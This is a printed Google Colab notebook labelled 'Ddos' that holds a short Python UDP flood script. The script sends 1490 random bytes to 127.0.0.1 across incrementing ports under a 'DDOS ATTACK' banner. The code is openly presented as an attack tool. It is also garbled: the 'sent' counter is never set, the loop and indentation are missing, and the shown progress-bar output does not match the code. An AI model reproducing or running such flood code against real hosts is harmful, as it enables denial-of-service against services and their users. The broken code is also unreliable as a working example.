Ddos - Colab
Ddos - Colab
ipynb - Colab
import sys
import os
import time
import socket
import random
#Code Time
from datetime import datetime
now = datetime.now()
hour = now.hour
minute = now.minute
day = now.day
month = now.month
year = now.year
##############
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)
#############
os.system("clear")
#os.system("figlet DDos Attack")
print ("\n----------------------------------------------------")
print ("\n--------- D D O S A T T A C K ---------")
print ("\n----------------------------------------------------\n")
print
ip = '127.0.0.1'
port = 1024
sock.sendto(bytes, (ip,port))
sent = sent + 1
port = port + 1
# time.sleep(1)
print ("Sent %s packet to %s throught port:%s"%(sent,ip,port))
if port == 65534:
port = 1
# time.sleep(1)
output ----------------------------------------------------
--------- D D O S A T T A C K ---------
----------------------------------------------------
----------------------------------------------------
[ ] 0%
[===== ] 25%
[========== ] 50%
[=============== ] 75%
[====================] 100%
----------------------------------------------------
https://colab.research.google.com/drive/1XJZeF6lK9UNOY8pKrUdOtwHIE6zVLOsK?authuser=1#scrollTo=1sumBA2b2ExW&printMode=true 1/2
4/19/24, 4:11 PM Untitled8.ipynb - Colab
https://colab.research.google.com/drive/1XJZeF6lK9UNOY8pKrUdOtwHIE6zVLOsK?authuser=1#scrollTo=1sumBA2b2ExW&printMode=true 2/2